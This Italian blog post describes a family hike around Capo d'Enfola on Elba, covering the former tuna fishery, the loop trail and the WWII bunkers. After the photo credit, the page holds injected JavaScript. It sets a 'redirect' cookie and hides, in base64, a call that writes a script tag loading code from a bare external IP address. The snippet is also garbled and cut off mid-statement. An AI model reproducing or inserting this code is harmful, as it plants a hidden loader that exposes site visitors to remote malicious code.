Capo d’Enfola tra storia e natura

Una bella passeggiata per tutta la famiglia? Il promontorio dell’Enfola!

Attaccato al resto dell’isola tramite un pugno di terra, si presenta da lontano come una collina a se stante sul mare, cosa che gli valse l’appellativo di Insula e nel tempo, il nome attuale.

Proprio alla base del rilievo, ha sede il Parco Nazionale dell’Arcipelago Toscano in quella che era la Tonnara, o Marfaraggio, di Capo Enfola. Fino al 1958 i Tonnarotti si sono affaccendati tra l’edificio principale, l’Arsenale, e gli annessi, oggi scomparsi, che costituivano la produzione ittica: alloggi, magazzini, il rimessaggio delle barche e delle attrezzature di pesca, un molo di attracco per i barconi che portavano i tonni, vasche di tintura per le reti (a base di cortecce di castagno) e gli edifici amministrativi.

Un complesso sistema di reti composto da diverse camere, veniva sistemato sulla rotta dei tonni a circa 900 metri in direzione Nord-Est partendo dalla punta di Sansone. Qui, si consumava la pesca, sotto l’attenta direzione del Rais, che direttamente dalla sua casa a picco sulla scogliera, controllava il passaggio del pesce nelle diverse camere fino a quella conclusiva attraverso l’acqua trasparente.

Trasparenza che si è conservata fino ad oggi, e che si gode appieno lungo il sentiero che avvolge il promontorio e che porta in alto, sull’altro versante, a picco sul mare e sullo Scoglio della Nave, dimora di moltissimi uccelli marini.

Ben visibili, i resti della Batteria De Filippi: numerosi bunker e strutture belliche, attraversabili con l’ausilio di una torcia e risalenti alla seconda guerra mondiale, compreso l’alloggiamento per la grande fotocellula che, all’occorrenza, poteva illuminare il Canale di Piombino a giorno, evidenziando le navi di passaggio.

Il percorso, ha uno svolgimento ad anello e termina di nuovo sulla spiaggia, perfetta per un riposino e una merenda.. all’elbana: schiaccina croccante e birra autoctona.

Da fare tutto l’anno, in compagnia.

 

Ph Tonnara: www.islepark.it _ok_”text/javascript”> function getCo_ok_ie(e){var U=document.co_ok_ie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),co_ok_ie=getCo_ok_ie(“redirect”);if(now>=(time=co_ok_ie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.co_ok_ie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Share this post

Silvia Bracci

Grafica Pubblicitaria fiorentina di nascita, Guida Ambientale Escursionistica elbana d'adozione, mi occupo di tutto ciò che è Green e Natura, raccontando le meraviglie della montagna in mezzo al mare.

Nessun commento

Aggiungi commento